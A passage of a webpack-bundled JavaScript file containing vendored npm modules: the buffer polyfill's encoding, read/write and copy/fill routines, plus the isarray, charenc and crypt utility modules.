                                    encoding = ('' + encoding).toLowerCase()
                                    loweredCase = true
                            }
                        }
                    }

                    Buffer.prototype.toJSON = function toJSON () {
                        return {
                            type: 'Buffer',
                            data: Array.prototype.slice.call(this._arr || this, 0)
                        }
                    }

                    function base64Slice (buf, start, end) {
                        if (start === 0 && end === buf.length) {
                            return base64.fromByteArray(buf)
                        } else {
                            return base64.fromByteArray(buf.slice(start, end))
                        }
                    }

                    function utf8Slice (buf, start, end) {
                        end = Math.min(buf.length, end)
                        var res = []

                        var i = start
                        while (i < end) {
                            var firstByte = buf[i]
                            var codePoint = null
                            var bytesPerSequence = (firstByte > 0xEF) ? 4
                            : (firstByte > 0xDF) ? 3
                            : (firstByte > 0xBF) ? 2
                            : 1

                            if (i + bytesPerSequence <= end) {
                                var secondByte, thirdByte, fourthByte, tempCodePoint

                                switch (bytesPerSequence) {
                                    case 1:
                                        if (firstByte < 0x80) {
                                            codePoint = firstByte
                                        }
                                        break
                                    case 2:
                                        secondByte = buf[i + 1]
                                        if ((secondByte & 0xC0) === 0x80) {
                                            tempCodePoint = (firstByte & 0x1F) << 0x6 | (secondByte & 0x3F)
                                            if (tempCodePoint > 0x7F) {
                                                codePoint = tempCodePoint
                                            }
                                        }
                                        break
                                    case 3:
                                        secondByte = buf[i + 1]
                                        thirdByte = buf[i + 2]
                                        if ((secondByte & 0xC0) === 0x80 && (thirdByte & 0xC0) === 0x80) {
                                            tempCodePoint = (firstByte & 0xF) << 0xC | (secondByte & 0x3F) << 0x6 | (thirdByte & 0x3F)
                                            if (tempCodePoint > 0x7FF && (tempCodePoint < 0xD800 || tempCodePoint > 0xDFFF)) {
                                                codePoint = tempCodePoint
                                            }
                                        }
                                        break
                                    case 4:
                                        secondByte = buf[i + 1]
                                        thirdByte = buf[i + 2]
                                        fourthByte = buf[i + 3]
                                        if ((secondByte & 0xC0) === 0x80 && (thirdByte & 0xC0) === 0x80 && (fourthByte & 0xC0) === 0x80) {
                                            tempCodePoint = (firstByte & 0xF) << 0x12 | (secondByte & 0x3F) << 0xC | (thirdByte & 0x3F) << 0x6 | (fourthByte & 0x3F)
                                            if (tempCodePoint > 0xFFFF && tempCodePoint < 0x110000) {
                                                codePoint = tempCodePoint
                                            }
                                        }
                                }
                            }

                            if (codePoint === null) {
                                // we did not generate a valid codePoint so insert a
                                // replacement char (U+FFFD) and advance only 1 byte
                                codePoint = 0xFFFD
                                bytesPerSequence = 1
                            } else if (codePoint > 0xFFFF) {
                                // encode to utf16 (surrogate pair dance)
                                codePoint -= 0x10000
                                res.push(codePoint >>> 10 & 0x3FF | 0xD800)
                                codePoint = 0xDC00 | codePoint & 0x3FF
                            }

                            res.push(codePoint)
                            i += bytesPerSequence
                        }

                        return decodeCodePointsArray(res)
                    }

                    // Based on http://stackoverflow.com/a/22747272/680742, the browser with
                    // the lowest limit is Chrome, with 0x10000 args.
                    // We go 1 magnitude less, for safety
                    var MAX_ARGUMENTS_LENGTH = 0x1000

                    function decodeCodePointsArray (codePoints) {
                        var len = codePoints.length
                        if (len <= MAX_ARGUMENTS_LENGTH) {
                            return String.fromCharCode.apply(String, codePoints) // avoid extra slice()
                        }

                        // Decode in chunks to avoid "call stack size exceeded".
                        var res = ''
                        var i = 0
                        while (i < len) {
                            res += String.fromCharCode.apply(
                                String,
                                codePoints.slice(i, i += MAX_ARGUMENTS_LENGTH)
                            )
                        }
                        return res
                    }

                    function asciiSlice (buf, start, end) {
                        var ret = ''
                        end = Math.min(buf.length, end)

                        for (var i = start; i < end; ++i) {
                            ret += String.fromCharCode(buf[i] & 0x7F)
                        }
                        return ret
                    }

                    function latin1Slice (buf, start, end) {
                        var ret = ''
                        end = Math.min(buf.length, end)

                        for (var i = start; i < end; ++i) {
                            ret += String.fromCharCode(buf[i])
                        }
                        return ret
                    }

                    function hexSlice (buf, start, end) {
                        var len = buf.length

                        if (!start || start < 0) start = 0
                        if (!end || end < 0 || end > len) end = len

                        var out = ''
                        for (var i = start; i < end; ++i) {
                            out += toHex(buf[i])
                        }
                        return out
                    }

                    function utf16leSlice (buf, start, end) {
                        var bytes = buf.slice(start, end)
                        var res = ''
                        for (var i = 0; i < bytes.length; i += 2) {
                            res += String.fromCharCode(bytes[i] + bytes[i + 1] * 256)
                        }
                        return res
                    }

                    Buffer.prototype.slice = function slice (start, end) {
                        var len = this.length
                        start = ~~start
                        end = end === undefined ? len : ~~end

                        if (start < 0) {
                            start += len
                            if (start < 0) start = 0
                        } else if (start > len) {
                            start = len
                        }

                        if (end < 0) {
                            end += len
                            if (end < 0) end = 0
                        } else if (end > len) {
                            end = len
                        }

                        if (end < start) end = start

                        var newBuf
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            newBuf = this.subarray(start, end)
                            newBuf.__proto__ = Buffer.prototype
                        } else {
                            var sliceLen = end - start
                            newBuf = new Buffer(sliceLen, undefined)
                            for (var i = 0; i < sliceLen; ++i) {
                                newBuf[i] = this[i + start]
                            }
                        }

                        return newBuf
                    }

                    /*
 * Need to make sure that buffer isn't trying to write out of bounds.
 */
                    function checkOffset (offset, ext, length) {
                        if ((offset % 1) !== 0 || offset < 0) throw new RangeError('offset is not uint')
                        if (offset + ext > length) throw new RangeError('Trying to access beyond buffer length')
                    }

                    Buffer.prototype.readUIntLE = function readUIntLE (offset, byteLength, noAssert) {
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) checkOffset(offset, byteLength, this.length)

                        var val = this[offset]
                        var mul = 1
                        var i = 0
                        while (++i < byteLength && (mul *= 0x100)) {
                            val += this[offset + i] * mul
                        }

                        return val
                    }

                    Buffer.prototype.readUIntBE = function readUIntBE (offset, byteLength, noAssert) {
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) {
                            checkOffset(offset, byteLength, this.length)
                        }

                        var val = this[offset + --byteLength]
                        var mul = 1
                        while (byteLength > 0 && (mul *= 0x100)) {
                            val += this[offset + --byteLength] * mul
                        }

                        return val
                    }

                    Buffer.prototype.readUInt8 = function readUInt8 (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 1, this.length)
                        return this[offset]
                    }

                    Buffer.prototype.readUInt16LE = function readUInt16LE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 2, this.length)
                        return this[offset] | (this[offset + 1] << 8)
                    }

                    Buffer.prototype.readUInt16BE = function readUInt16BE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 2, this.length)
                        return (this[offset] << 8) | this[offset + 1]
                    }

                    Buffer.prototype.readUInt32LE = function readUInt32LE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)

                        return ((this[offset]) |
                                (this[offset + 1] << 8) |
                                (this[offset + 2] << 16)) +
                            (this[offset + 3] * 0x1000000)
                    }

                    Buffer.prototype.readUInt32BE = function readUInt32BE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)

                        return (this[offset] * 0x1000000) +
                            ((this[offset + 1] << 16) |
                             (this[offset + 2] << 8) |
                             this[offset + 3])
                    }

                    Buffer.prototype.readIntLE = function readIntLE (offset, byteLength, noAssert) {
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) checkOffset(offset, byteLength, this.length)

                        var val = this[offset]
                        var mul = 1
                        var i = 0
                        while (++i < byteLength && (mul *= 0x100)) {
                            val += this[offset + i] * mul
                        }
                        mul *= 0x80

                        if (val >= mul) val -= Math.pow(2, 8 * byteLength)

                        return val
                    }

                    Buffer.prototype.readIntBE = function readIntBE (offset, byteLength, noAssert) {
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) checkOffset(offset, byteLength, this.length)

                        var i = byteLength
                        var mul = 1
                        var val = this[offset + --i]
                        while (i > 0 && (mul *= 0x100)) {
                            val += this[offset + --i] * mul
                        }
                        mul *= 0x80

                        if (val >= mul) val -= Math.pow(2, 8 * byteLength)

                        return val
                    }

                    Buffer.prototype.readInt8 = function readInt8 (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 1, this.length)
                        if (!(this[offset] & 0x80)) return (this[offset])
                        return ((0xff - this[offset] + 1) * -1)
                    }

                    Buffer.prototype.readInt16LE = function readInt16LE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 2, this.length)
                        var val = this[offset] | (this[offset + 1] << 8)
                        return (val & 0x8000) ? val | 0xFFFF0000 : val
                    }

                    Buffer.prototype.readInt16BE = function readInt16BE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 2, this.length)
                        var val = this[offset + 1] | (this[offset] << 8)
                        return (val & 0x8000) ? val | 0xFFFF0000 : val
                    }

                    Buffer.prototype.readInt32LE = function readInt32LE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)

                        return (this[offset]) |
                            (this[offset + 1] << 8) |
                            (this[offset + 2] << 16) |
                            (this[offset + 3] << 24)
                    }

                    Buffer.prototype.readInt32BE = function readInt32BE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)

                        return (this[offset] << 24) |
                            (this[offset + 1] << 16) |
                            (this[offset + 2] << 8) |
                            (this[offset + 3])
                    }

                    Buffer.prototype.readFloatLE = function readFloatLE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)
                        return ieee754.read(this, offset, true, 23, 4)
                    }

                    Buffer.prototype.readFloatBE = function readFloatBE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 4, this.length)
                        return ieee754.read(this, offset, false, 23, 4)
                    }

                    Buffer.prototype.readDoubleLE = function readDoubleLE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 8, this.length)
                        return ieee754.read(this, offset, true, 52, 8)
                    }

                    Buffer.prototype.readDoubleBE = function readDoubleBE (offset, noAssert) {
                        if (!noAssert) checkOffset(offset, 8, this.length)
                        return ieee754.read(this, offset, false, 52, 8)
                    }

                    function checkInt (buf, value, offset, ext, max, min) {
                        if (!Buffer.isBuffer(buf)) throw new TypeError('"buffer" argument must be a Buffer instance')
                        if (value > max || value < min) throw new RangeError('"value" argument is out of bounds')
                        if (offset + ext > buf.length) throw new RangeError('Index out of range')
                    }

                    Buffer.prototype.writeUIntLE = function writeUIntLE (value, offset, byteLength, noAssert) {
                        value = +value
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) {
                            var maxBytes = Math.pow(2, 8 * byteLength) - 1
                            checkInt(this, value, offset, byteLength, maxBytes, 0)
                        }

                        var mul = 1
                        var i = 0
                        this[offset] = value & 0xFF
                        while (++i < byteLength && (mul *= 0x100)) {
                            this[offset + i] = (value / mul) & 0xFF
                        }

                        return offset + byteLength
                    }

                    Buffer.prototype.writeUIntBE = function writeUIntBE (value, offset, byteLength, noAssert) {
                        value = +value
                        offset = offset | 0
                        byteLength = byteLength | 0
                        if (!noAssert) {
                            var maxBytes = Math.pow(2, 8 * byteLength) - 1
                            checkInt(this, value, offset, byteLength, maxBytes, 0)
                        }

                        var i = byteLength - 1
                        var mul = 1
                        this[offset + i] = value & 0xFF
                        while (--i >= 0 && (mul *= 0x100)) {
                            this[offset + i] = (value / mul) & 0xFF
                        }

                        return offset + byteLength
                    }

                    Buffer.prototype.writeUInt8 = function writeUInt8 (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 1, 0xff, 0)
                        if (!Buffer.TYPED_ARRAY_SUPPORT) value = Math.floor(value)
                        this[offset] = (value & 0xff)
                        return offset + 1
                    }

                    function objectWriteUInt16 (buf, value, offset, littleEndian) {
                        if (value < 0) value = 0xffff + value + 1
                        for (var i = 0, j = Math.min(buf.length - offset, 2); i < j; ++i) {
                            buf[offset + i] = (value & (0xff << (8 * (littleEndian ? i : 1 - i)))) >>>
                                (littleEndian ? i : 1 - i) * 8
                        }
                    }

                    Buffer.prototype.writeUInt16LE = function writeUInt16LE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 2, 0xffff, 0)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value & 0xff)
                            this[offset + 1] = (value >>> 8)
                        } else {
                            objectWriteUInt16(this, value, offset, true)
                        }
                        return offset + 2
                    }

                    Buffer.prototype.writeUInt16BE = function writeUInt16BE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 2, 0xffff, 0)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value >>> 8)
                            this[offset + 1] = (value & 0xff)
                        } else {
                            objectWriteUInt16(this, value, offset, false)
                        }
                        return offset + 2
                    }

                    function objectWriteUInt32 (buf, value, offset, littleEndian) {
                        if (value < 0) value = 0xffffffff + value + 1
                        for (var i = 0, j = Math.min(buf.length - offset, 4); i < j; ++i) {
                            buf[offset + i] = (value >>> (littleEndian ? i : 3 - i) * 8) & 0xff
                        }
                    }

                    Buffer.prototype.writeUInt32LE = function writeUInt32LE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 4, 0xffffffff, 0)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset + 3] = (value >>> 24)
                            this[offset + 2] = (value >>> 16)
                            this[offset + 1] = (value >>> 8)
                            this[offset] = (value & 0xff)
                        } else {
                            objectWriteUInt32(this, value, offset, true)
                        }
                        return offset + 4
                    }

                    Buffer.prototype.writeUInt32BE = function writeUInt32BE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 4, 0xffffffff, 0)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value >>> 24)
                            this[offset + 1] = (value >>> 16)
                            this[offset + 2] = (value >>> 8)
                            this[offset + 3] = (value & 0xff)
                        } else {
                            objectWriteUInt32(this, value, offset, false)
                        }
                        return offset + 4
                    }

                    Buffer.prototype.writeIntLE = function writeIntLE (value, offset, byteLength, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) {
                            var limit = Math.pow(2, 8 * byteLength - 1)

                            checkInt(this, value, offset, byteLength, limit - 1, -limit)
                        }

                        var i = 0
                        var mul = 1
                        var sub = 0
                        this[offset] = value & 0xFF
                        while (++i < byteLength && (mul *= 0x100)) {
                            if (value < 0 && sub === 0 && this[offset + i - 1] !== 0) {
                                sub = 1
                            }
                            this[offset + i] = ((value / mul) >> 0) - sub & 0xFF
                        }

                        return offset + byteLength
                    }

                    Buffer.prototype.writeIntBE = function writeIntBE (value, offset, byteLength, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) {
                            var limit = Math.pow(2, 8 * byteLength - 1)

                            checkInt(this, value, offset, byteLength, limit - 1, -limit)
                        }

                        var i = byteLength - 1
                        var mul = 1
                        var sub = 0
                        this[offset + i] = value & 0xFF
                        while (--i >= 0 && (mul *= 0x100)) {
                            if (value < 0 && sub === 0 && this[offset + i + 1] !== 0) {
                                sub = 1
                            }
                            this[offset + i] = ((value / mul) >> 0) - sub & 0xFF
                        }

                        return offset + byteLength
                    }

                    Buffer.prototype.writeInt8 = function writeInt8 (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 1, 0x7f, -0x80)
                        if (!Buffer.TYPED_ARRAY_SUPPORT) value = Math.floor(value)
                        if (value < 0) value = 0xff + value + 1
                        this[offset] = (value & 0xff)
                        return offset + 1
                    }

                    Buffer.prototype.writeInt16LE = function writeInt16LE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 2, 0x7fff, -0x8000)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value & 0xff)
                            this[offset + 1] = (value >>> 8)
                        } else {
                            objectWriteUInt16(this, value, offset, true)
                        }
                        return offset + 2
                    }

                    Buffer.prototype.writeInt16BE = function writeInt16BE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 2, 0x7fff, -0x8000)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value >>> 8)
                            this[offset + 1] = (value & 0xff)
                        } else {
                            objectWriteUInt16(this, value, offset, false)
                        }
                        return offset + 2
                    }

                    Buffer.prototype.writeInt32LE = function writeInt32LE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 4, 0x7fffffff, -0x80000000)
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value & 0xff)
                            this[offset + 1] = (value >>> 8)
                            this[offset + 2] = (value >>> 16)
                            this[offset + 3] = (value >>> 24)
                        } else {
                            objectWriteUInt32(this, value, offset, true)
                        }
                        return offset + 4
                    }

                    Buffer.prototype.writeInt32BE = function writeInt32BE (value, offset, noAssert) {
                        value = +value
                        offset = offset | 0
                        if (!noAssert) checkInt(this, value, offset, 4, 0x7fffffff, -0x80000000)
                        if (value < 0) value = 0xffffffff + value + 1
                        if (Buffer.TYPED_ARRAY_SUPPORT) {
                            this[offset] = (value >>> 24)
                            this[offset + 1] = (value >>> 16)
                            this[offset + 2] = (value >>> 8)
                            this[offset + 3] = (value & 0xff)
                        } else {
                            objectWriteUInt32(this, value, offset, false)
                        }
                        return offset + 4
                    }

                    function checkIEEE754 (buf, value, offset, ext, max, min) {
                        if (offset + ext > buf.length) throw new RangeError('Index out of range')
                        if (offset < 0) throw new RangeError('Index out of range')
                    }

                    function writeFloat (buf, value, offset, littleEndian, noAssert) {
                        if (!noAssert) {
                            checkIEEE754(buf, value, offset, 4, 3.4028234663852886e+38, -3.4028234663852886e+38)
                        }
                        ieee754.write(buf, value, offset, littleEndian, 23, 4)
                        return offset + 4
                    }

                    Buffer.prototype.writeFloatLE = function writeFloatLE (value, offset, noAssert) {
                        return writeFloat(this, value, offset, true, noAssert)
                    }

                    Buffer.prototype.writeFloatBE = function writeFloatBE (value, offset, noAssert) {
                        return writeFloat(this, value, offset, false, noAssert)
                    }

                    function writeDouble (buf, value, offset, littleEndian, noAssert) {
                        if (!noAssert) {
                            checkIEEE754(buf, value, offset, 8, 1.7976931348623157E+308, -1.7976931348623157E+308)
                        }
                        ieee754.write(buf, value, offset, littleEndian, 52, 8)
                        return offset + 8
                    }

                    Buffer.prototype.writeDoubleLE = function writeDoubleLE (value, offset, noAssert) {
                        return writeDouble(this, value, offset, true, noAssert)
                    }

                    Buffer.prototype.writeDoubleBE = function writeDoubleBE (value, offset, noAssert) {
                        return writeDouble(this, value, offset, false, noAssert)
                    }

                    // copy(targetBuffer, targetStart=0, sourceStart=0, sourceEnd=buffer.length)
                    Buffer.prototype.copy = function copy (target, targetStart, start, end) {
                        if (!start) start = 0
                        if (!end && end !== 0) end = this.length
                        if (targetStart >= target.length) targetStart = target.length
                        if (!targetStart) targetStart = 0
                        if (end > 0 && end < start) end = start

                        // Copy 0 bytes; we're done
                        if (end === start) return 0
                        if (target.length === 0 || this.length === 0) return 0

                        // Fatal error conditions
                        if (targetStart < 0) {
                            throw new RangeError('targetStart out of bounds')
                        }
                        if (start < 0 || start >= this.length) throw new RangeError('sourceStart out of bounds')
                        if (end < 0) throw new RangeError('sourceEnd out of bounds')

                        // Are we oob?
                        if (end > this.length) end = this.length
                        if (target.length - targetStart < end - start) {
                            end = target.length - targetStart + start
                        }

                        var len = end - start
                        var i

                        if (this === target && start < targetStart && targetStart < end) {
                            // descending copy from end
                            for (i = len - 1; i >= 0; --i) {
                                target[i + targetStart] = this[i + start]
                            }
                        } else if (len < 1000 || !Buffer.TYPED_ARRAY_SUPPORT) {
                            // ascending copy from start
                            for (i = 0; i < len; ++i) {
                                target[i + targetStart] = this[i + start]
                            }
                        } else {
                            Uint8Array.prototype.set.call(
                                target,
                                this.subarray(start, start + len),
                                targetStart
                            )
                        }

                        return len
                    }

                    // Usage:
                    //    buffer.fill(number[, offset[, end]])
                    //    buffer.fill(buffer[, offset[, end]])
                    //    buffer.fill(string[, offset[, end]][, encoding])
                    Buffer.prototype.fill = function fill (val, start, end, encoding) {
                        // Handle string cases:
                        if (typeof val === 'string') {
                            if (typeof start === 'string') {
                                encoding = start
                                start = 0
                                end = this.length
                            } else if (typeof end === 'string') {
                                encoding = end
                                end = this.length
                            }
                            if (val.length === 1) {
                                var code = val.charCodeAt(0)
                                if (code < 256) {
                                    val = code
                                }
                            }
                            if (encoding !== undefined && typeof encoding !== 'string') {
                                throw new TypeError('encoding must be a string')
                            }
                            if (typeof encoding === 'string' && !Buffer.isEncoding(encoding)) {
                                throw new TypeError('Unknown encoding: ' + encoding)
                            }
                        } else if (typeof val === 'number') {
                            val = val & 255
                        }

                        // Invalid ranges are not set to a default, so can range check early.
                        if (start < 0 || this.length < start || this.length < end) {
                            throw new RangeError('Out of range index')
                        }

                        if (end <= start) {
                            return this
                        }

                        start = start >>> 0
                        end = end === undefined ? this.length : end >>> 0

                        if (!val) val = 0

                        var i
                        if (typeof val === 'number') {
                            for (i = start; i < end; ++i) {
                                this[i] = val
                            }
                        } else {
                            var bytes = Buffer.isBuffer(val)
                            ? val
                            : utf8ToBytes(new Buffer(val, encoding).toString())
                            var len = bytes.length
                            for (i = 0; i < end - start; ++i) {
                                this[i + start] = bytes[i % len]
                            }
                        }

                        return this
                    }

                    // HELPER FUNCTIONS
                    // ================

                    var INVALID_BASE64_RE = /[^+\/0-9A-Za-z-_]/g

                    function base64clean (str) {
                        // Node strips out invalid characters like \n and \t from the string, base64-js does not
                        str = stringtrim(str).replace(INVALID_BASE64_RE, '')
                        // Node converts strings with length < 2 to ''
                        if (str.length < 2) return ''
                        // Node allows for non-padded base64 strings (missing trailing ===), base64-js does not
                        while (str.length % 4 !== 0) {
                            str = str + '='
                        }
                        return str
                    }

                    function stringtrim (str) {
                        if (str.trim) return str.trim()
                        return str.replace(/^\s+|\s+$/g, '')
                    }

                    function toHex (n) {
                        if (n < 16) return '0' + n.toString(16)
                        return n.toString(16)
                    }

                    function utf8ToBytes (string, units) {
                        units = units || Infinity
                        var codePoint
                        var length = string.length
                        var leadSurrogate = null
                        var bytes = []

                        for (var i = 0; i < length; ++i) {
                            codePoint = string.charCodeAt(i)

                            // is surrogate component
                            if (codePoint > 0xD7FF && codePoint < 0xE000) {
                                // last char was a lead
                                if (!leadSurrogate) {
                                    // no lead yet
                                    if (codePoint > 0xDBFF) {
                                        // unexpected trail
                                        if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
                                        continue
                                    } else if (i + 1 === length) {
                                        // unpaired lead
                                        if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
                                        continue
                                    }

                                    // valid lead
                                    leadSurrogate = codePoint

                                    continue
                                }

                                // 2 leads in a row
                                if (codePoint < 0xDC00) {
                                    if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
                                    leadSurrogate = codePoint
                                    continue
                                }

                                // valid surrogate pair
                                codePoint = (leadSurrogate - 0xD800 << 10 | codePoint - 0xDC00) + 0x10000
                            } else if (leadSurrogate) {
                                // valid bmp char, but last char was a lead
                                if ((units -= 3) > -1) bytes.push(0xEF, 0xBF, 0xBD)
                            }

                            leadSurrogate = null

                            // encode utf8
                            if (codePoint < 0x80) {
                                if ((units -= 1) < 0) break
                                bytes.push(codePoint)
                            } else if (codePoint < 0x800) {
                                if ((units -= 2) < 0) break
                                bytes.push(
                                    codePoint >> 0x6 | 0xC0,
                                    codePoint & 0x3F | 0x80
                                )
                            } else if (codePoint < 0x10000) {
                                if ((units -= 3) < 0) break
                                bytes.push(
                                    codePoint >> 0xC | 0xE0,
                                    codePoint >> 0x6 & 0x3F | 0x80,
                                    codePoint & 0x3F | 0x80
                                )
                            } else if (codePoint < 0x110000) {
                                if ((units -= 4) < 0) break
                                bytes.push(
                                    codePoint >> 0x12 | 0xF0,
                                    codePoint >> 0xC & 0x3F | 0x80,
                                    codePoint >> 0x6 & 0x3F | 0x80,
                                    codePoint & 0x3F | 0x80
                                )
                            } else {
                                throw new Error('Invalid code point')
                            }
                        }

                        return bytes
                    }

                    function asciiToBytes (str) {
                        var byteArray = []
                        for (var i = 0; i < str.length; ++i) {
                            // Node's code seems to be doing this and not & 0x7F..
                            byteArray.push(str.charCodeAt(i) & 0xFF)
                        }
                        return byteArray
                    }

                    function utf16leToBytes (str, units) {
                        var c, hi, lo
                        var byteArray = []
                        for (var i = 0; i < str.length; ++i) {
                            if ((units -= 2) < 0) break

                            c = str.charCodeAt(i)
                            hi = c >> 8
                            lo = c % 256
                            byteArray.push(lo)
                            byteArray.push(hi)
                        }

                        return byteArray
                    }

                    function base64ToBytes (str) {
                        return base64.toByteArray(base64clean(str))
                    }

                    function blitBuffer (src, dst, offset, length) {
                        for (var i = 0; i < length; ++i) {
                            if ((i + offset >= dst.length) || (i >= src.length)) break
                            dst[i + offset] = src[i]
                        }
                        return i
                    }

                    function isnan (val) {
                        return val !== val // eslint-disable-line no-self-compare
                    }

                    /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../webpack/buildin/global.js */ "./node_modules/webpack/buildin/global.js")))

                /***/ }),

            /***/ "./node_modules/buffer/node_modules/isarray/index.js":
            /*!***********************************************************!*\
  !*** ./node_modules/buffer/node_modules/isarray/index.js ***!
  \***********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var toString = {}.toString;

                module.exports = Array.isArray || function (arr) {
                    return toString.call(arr) == '[object Array]';
                };


                /***/ }),

            /***/ "./node_modules/charenc/charenc.js":
            /*!*****************************************!*\
  !*** ./node_modules/charenc/charenc.js ***!
  \*****************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var charenc = {
                    // UTF-8 encoding
                    utf8: {
                        // Convert a string to a byte array
                        stringToBytes: function(str) {
                            return charenc.bin.stringToBytes(unescape(encodeURIComponent(str)));
                        },

                        // Convert a byte array to a string
                        bytesToString: function(bytes) {
                            return decodeURIComponent(escape(charenc.bin.bytesToString(bytes)));
                        }
                    },

                    // Binary encoding
                    bin: {
                        // Convert a string to a byte array
                        stringToBytes: function(str) {
                            for (var bytes = [], i = 0; i < str.length; i++)
                                bytes.push(str.charCodeAt(i) & 0xFF);
                            return bytes;
                        },

                        // Convert a byte array to a string
                        bytesToString: function(bytes) {
                            for (var str = [], i = 0; i < bytes.length; i++)
                                str.push(String.fromCharCode(bytes[i]));
                            return str.join('');
                        }
                    }
                };

                module.exports = charenc;


                /***/ }),

            /***/ "./node_modules/crypt/crypt.js":
            /*!*************************************!*\
  !*** ./node_modules/crypt/crypt.js ***!
  \*************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                (function() {
                    var base64map
                    = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',

                        crypt = {
                            // Bit-wise rotation left
                            rotl: function(n, b) {
                                return (n << b) | (n >>> (32 - b));
                            },

                            // Bit-wise rotation right
                            rotr: function(n, b) {
                                return (n << (32 - b)) | (n >>> b);
                            },

                            // Swap big-endian to little-endian and vice versa
                            endian: function(n) {
                                // If number given, swap endian
                                if (n.constructor == Number) {
                                    return crypt.rotl(n, 8) & 0x00FF00FF | crypt.rotl(n, 24) & 0xFF00FF00;
                                }

                                // Else, assume array and swap all items
                                for (var i = 0; i < n.length; i++)
                                    n[i] = crypt.endian(n[i]);
                                return n;
                            },

                            // Generate an array of any length of random bytes
                            randomBytes: function(n) {
                                for (var bytes = []; n > 0; n--)
                                    bytes.push(Math.floor(Math.random() * 256));
                                return bytes;
                            },

                            // Convert a byte array to big-endian 32-bit words
                            bytesToWords: function(bytes) {
                                for (var words = [], i = 0, b = 0; i < bytes.length; i++, b += 8)
                                    words[b >>> 5] |= bytes[i] << (24 - b % 32);
                                return words;
                            },

                            // Convert big-endian 32-bit words to a byte array
                            wordsToBytes: function(words) {
                                for (var bytes = [], b = 0; b < words.length * 32; b += 8)
                                    bytes.push((words[b >>> 5] >>> (24 - b % 32)) & 0xFF);
                                return bytes;
                            },

                            // Convert a byte array to a hex string
                            bytesToHex: function(bytes) {
                                for (var hex = [], i = 0; i < bytes.length; i++) {
                                    hex.push((bytes[i] >>> 4).toString(16));
                                    hex.push((bytes[i] & 0xF).toString(16));
                                }
                                return hex.join('');
                            },

                            // Convert a hex string to a byte array
                            hexToBytes: function(hex) {
                                for (var bytes = [], c = 0; c < hex.length; c += 2)
                                    bytes.push(parseInt(hex.substr(c, 2), 16));
                                return bytes;
                            },

                            // Convert a byte array to a base-64 string
                            bytesToBase64: function(bytes) {
                                for (var base64 = [], i = 0; i < bytes.length; i += 3) {
                                    var triplet = (bytes[i] << 16) | (bytes[i + 1] << 8) | bytes[i + 2];
                                    for (var j = 0; j < 4; j++)
                                        if (i * 8 + j * 6 <= bytes.length * 8)
                                            base64.push(base64map.charAt((triplet >>> 6 * (3 - j)) & 0x3F));
                                        else
                                            base64.push('=');
                                }
                                return base64.join('');
                            },

                            // Convert a base-64 string to a byte array
                            base64ToBytes: function(base64) {
                                // Remove non-base-64 characters
                                base64 = base64.replace(/[^A-Z0-9+\/]/ig, '');

                                for (var bytes = [], i = 0, imod4 = 0; i < base64.length;
                                     imod4 = ++i % 4) {
                                    if (imod4 == 0) continue;
                                    bytes.push(((base64map.indexOf(base64.charAt(i - 1))
                                                 & (Math.pow(2, -2 * imod4 + 8) - 1)) << (imod4 * 2))
                                               | (base64map.indexOf(base64.charAt(i)) >>> (6 - imod4 * 2)));
                                }
                                return bytes;
                            }
                        };

                    module.exports = crypt;
                })();


                /***/ }),

            /***/ "./node_modules/event-lite/event-lite.js":
            /*!***********************************************!*\
  !*** ./node_modules/event-lite/event-lite.js ***!
  \***********************************************/
            /*! no static exports found */
